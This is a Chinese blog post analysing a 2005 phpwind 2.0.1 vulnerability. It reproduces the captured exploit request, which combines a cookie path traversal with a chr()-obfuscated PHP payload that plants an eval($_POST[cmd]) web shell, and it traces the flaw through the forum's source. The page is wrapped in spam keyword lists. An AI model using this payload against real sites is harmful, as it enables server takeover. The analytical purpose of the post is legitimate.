国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

分析phpwind2.0.1漏洞
2005-12-17   

貓貓傳給我一個phpwind2.0.1漏洞利用程序,可以直接在目錄中寫入一個木馬。怎么說呢,這個漏洞是pinkeyes發(fā)現(xiàn)的,本文旨在分析這個漏洞的思路。直到發(fā)現(xiàn)這個漏洞是怎么產(chǎn)生的,我還在冒虛汗中,同時pinkeyes 的睿智深深的打動了我,原來我才明白什么才是真正的技術(shù)含量。且聽我慢慢道來:
在程序運行時,我抓了一個包:


GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=<?fputs(fopen
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

GET /phpwind//attachment/set.php HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

Chr()里的那些東西我查了一下ascii字符表,得到的是這樣的:
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
很顯然是在error.php里寫入一行php木馬:<? eval($_post[cmd]);?> 。
所以關(guān)鍵是:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出處。這兩個東西很重要!于是我下了一個phpwind 2.0.1的程序看看,開始以為是job.php有問題。進入job.php中,只發(fā)現(xiàn)如下代碼:

elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}
好,在失望的同時也發(fā)現(xiàn)了$skin一定有問題,job.php文件頭有個:require_once("./global.php");
接著我們來看看global.php里面的$skin參數(shù)吧:

if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest';
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}
哦,只要我們定義了$skinco就可以滿足$skin了!所以再找找$skinco吧,$skinco只有一處解釋,其后,并沒有做任何過濾:
if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈,好輕松,只要存在就可以?這樣只要構(gòu)造一個cookie就完全可以實現(xiàn)。咦?$skinco我們好象哪里見過。果然,就是上面抓的包里面的:
Cookie:skinco=../../require/hidden;
這樣就更加證明我的思路是正確的,風回路轉(zhuǎn)呀。又不得不佩服這樣精彩的手法,按照pinkeyes的思路:構(gòu)造后應(yīng)該是這樣的:
data/style/../../require/hidden.php
也就是./require/hidden.php。
這樣也就是滿足了job.php中的

if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到這里,先告一段落,我們回個頭想想。我們分析這么多就是pinkeyes要為了包含一個文件:./require/hidden.php。這就奇怪了,為什么這么pinkeyes要千方百計的來包含 ./require/hidden.php呢?直接利用不可以嗎?這個hidden.php到底是個什么樣的文件呢?恩,下面的解釋會讓你有一個滿意的答案。
我小心翼翼的打開hidden.php


<?php
!function_exists('readover') && exit('Forbidden');
$newonline="<>\t$timestamp\t$onlineip\t$fidwt\t$tidwt\t$groupid\t$wherebbsyou\t$acttime\t$uid\t$windid\t";
$newonline=str_pad($newonline,$db_olsize)."\n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"\t".$windid."\t")){
$inselectfile='N';
$offset=strpos($onlineuser,"\n",$offset-$db_olsize);$offset+=1;/*會員名不在開始需要轉(zhuǎn)換指針*/
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."\n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>

看到這里,所有的疑團都解開了!
1.原來文件頭多了個
!function_exists('readover') && exit('Forbidden');
這樣直接訪問是不允許的,后面的代碼也不會執(zhí)行,這樣我明白pinkeyes的苦心多走彎路來努力用include來包含這個文件
2 這個文件里有writeline()是可以寫入木馬的。$newonline正好也定義了$tidwt,所以最后的writeline()把$tidwt也寫進去了。
寫入到了d_name 所定義的set.php這個臨時文件里。本來這樣就可以寫入一個小木馬了,只要使$tidwt為編碼:<? eval($_post[cmd]);?>就可以的。但是可能是pinkeyes考慮到set.php里的東西比較亂。所以煞費苦心的用
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
寫入一個更簡單的木馬到error.php里!這樣才多了我們抓的第二個包:
GET /phpwind//attachment/set.php HTTP/1.1
。。。。。。。。。
后記:我感覺自己寫偵探小說還不錯,技術(shù)嘛,哎。。。。


熱詞搜索:

上一篇:動網(wǎng)的新災(zāi)難-插件漏洞
下一篇:靈巧的腳本攻擊

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产精品xnxxcom| 欧美日韩网站| aa级大片欧美| 亚洲成人原创| 国产色综合天天综合网| 欧美日韩国产精品一区| 欧美国产日韩二区| 欧美黄色小视频| 欧美精品999| 国产精品成人一区二区三区夜夜夜 | 欧美日韩精品一区二区天天拍小说 | 国产美女高潮久久白浆| 欧美性大战久久久久久久| 国产精品区一区| 韩国v欧美v日本v亚洲v| 一区在线观看| 99国产一区| 欧美与黑人午夜性猛交久久久| 久久精视频免费在线久久完整在线看| 久久久久久久成人| 欧美日本乱大交xxxxx| 国产精品qvod| 亚洲国产99| 午夜精品久久久久久久99樱桃| 亚洲高清在线观看| 国产视频在线观看一区二区三区| 一本色道精品久久一区二区三区| 欧美国产日韩a欧美在线观看| 一区在线播放| 欧美刺激性大交免费视频| 亚洲美女免费精品视频在线观看| 欧美精品一区二区三区在线播放 | 一区二区三区在线视频观看| 亚洲人精品午夜| 久久久999精品免费| 国产精品一卡二| 亚洲永久免费精品| 欧美日韩国产美女| 亚洲美女一区| 国产精品v日韩精品v欧美精品网站| 日韩视频免费在线| 欧美精品导航| 中文av一区二区| 国产精品免费网站在线观看| 亚洲色图在线视频| 国产精自产拍久久久久久| 亚洲欧美一区二区视频| 欧美视频在线一区| 一区二区精品国产| 欧美精品成人在线| 亚洲久久成人| 欧美日本簧片| 亚洲人成啪啪网站| 欧美1区3d| 国产老女人精品毛片久久| 久久视频在线视频| 伊人夜夜躁av伊人久久| 久久国产福利| 伊人精品久久久久7777| 久久亚洲精品网站| 在线观看欧美黄色| 欧美成人自拍| 亚洲色图自拍| 国产亚洲日本欧美韩国| 99热免费精品| 国产精品私拍pans大尺度在线| 亚洲一区二区三区激情| 国内成人精品一区| 欧美国产精品久久| 亚洲色图制服丝袜| 欧美性理论片在线观看片免费| 久久久久久9| 亚洲精品视频中文字幕| 国产精品久久久久久久久久三级| 久久精品电影| 欧美视频不卡中文| 欧美一区二区在线看| 在线观看日韩av电影| 欧美三日本三级少妇三2023| 性色一区二区| 日韩视频在线免费| 黄色综合网站| 国产精品盗摄久久久| 久久久久久久一区二区三区| 亚洲日本aⅴ片在线观看香蕉| 欧美国产精品一区| 久久不射2019中文字幕| 宅男精品视频| 亚洲精品黄色| 在线播放中文一区| 国产色综合久久| 欧美日韩国产在线一区| 久久青草福利网站| 午夜精品亚洲| 亚洲人成在线播放网站岛国| 国产日韩欧美综合精品| 欧美色图一区二区三区| 欧美成人亚洲成人日韩成人| 欧美在线视频观看免费网站| 亚洲国产精品成人久久综合一区| 激情综合在线| 黄色亚洲大片免费在线观看| 国产情人综合久久777777| 国产精品v亚洲精品v日韩精品| 你懂的亚洲视频| 裸体女人亚洲精品一区| 久久人人爽人人爽爽久久| 久久久欧美一区二区| 欧美日韩国产欧| 国产精品hd| 国产精品入口66mio| 国产精品v欧美精品v日本精品动漫 | 欧美日韩亚洲一区| 欧美日产一区二区三区在线观看| 久久久最新网址| 欧美电影在线播放| 欧美日韩免费一区二区三区| 欧美三级电影网| 国产日韩欧美精品| 国模私拍一区二区三区| 91久久精品日日躁夜夜躁国产| 亚洲精品国精品久久99热一 | 欧美日韩国产欧美日美国产精品| 欧美国产日本| 欧美日本一区二区三区| 欧美亚洲第一区| 国一区二区在线观看| 一区二区三区高清不卡| 久久综合伊人| 国产欧美一区二区三区久久| 亚洲无人区一区| 欧美日韩福利| 亚洲肉体裸体xxxx137| 美乳少妇欧美精品| 9久草视频在线视频精品| 国产精品国产三级国产aⅴ9色| 国内精品99| 欧美韩日高清| 亚洲一区二区三区中文字幕| 欧美午夜国产| 亚洲女爱视频在线| 国产精品一二三视频| 久久精品成人一区二区三区| 国产日韩欧美精品在线| 久久高清国产| 在线成人免费视频| 欧美自拍偷拍| 亚洲日本免费| 国产精品久久毛片a| 欧美一区中文字幕| 合欧美一区二区三区| 99精品免费网| 欧美精品一区在线发布| 亚洲精品日韩精品| 欧美黄色片免费观看| 亚洲电影欧美电影有声小说| 久久精品人人爽| 精品999成人| 欧美插天视频在线播放| 亚洲激情网站| 国产精品区一区二区三区| 午夜视频一区在线观看| 国产午夜精品一区二区三区视频| 欧美中文在线观看国产| 黄色日韩在线| 国产精品v日韩精品| 亚洲欧美日本国产专区一区| 国产欧美日本一区视频| 久久一区中文字幕| 亚洲精品中文字幕女同| 国产精品自拍网站| 久久综合99re88久久爱| 日韩手机在线导航| 国产欧美精品在线播放| 欧美国产日韩二区| 亚洲一区二区高清| 亚洲国产欧美一区| 欧美ed2k| 久久久www成人免费无遮挡大片 | 一区二区视频欧美| 欧美成人xxx| 午夜精彩视频在线观看不卡| 亚洲电影网站| 国产精品国内视频| 久久久久国产精品厨房| 性久久久久久久久久久久| 最新热久久免费视频| 国产午夜精品一区理论片飘花 | 欧美精品一区二区三区很污很色的| 一区二区三区免费观看| 国产综合香蕉五月婷在线| 欧美天天视频| 欧美精品1区2区| 亚洲美女色禁图| 国产精品永久免费观看| 国产一区99| 国产精品综合久久久| 欧美日韩在线播放三区| 欧美国产一区二区在线观看| 欧美激情综合色综合啪啪|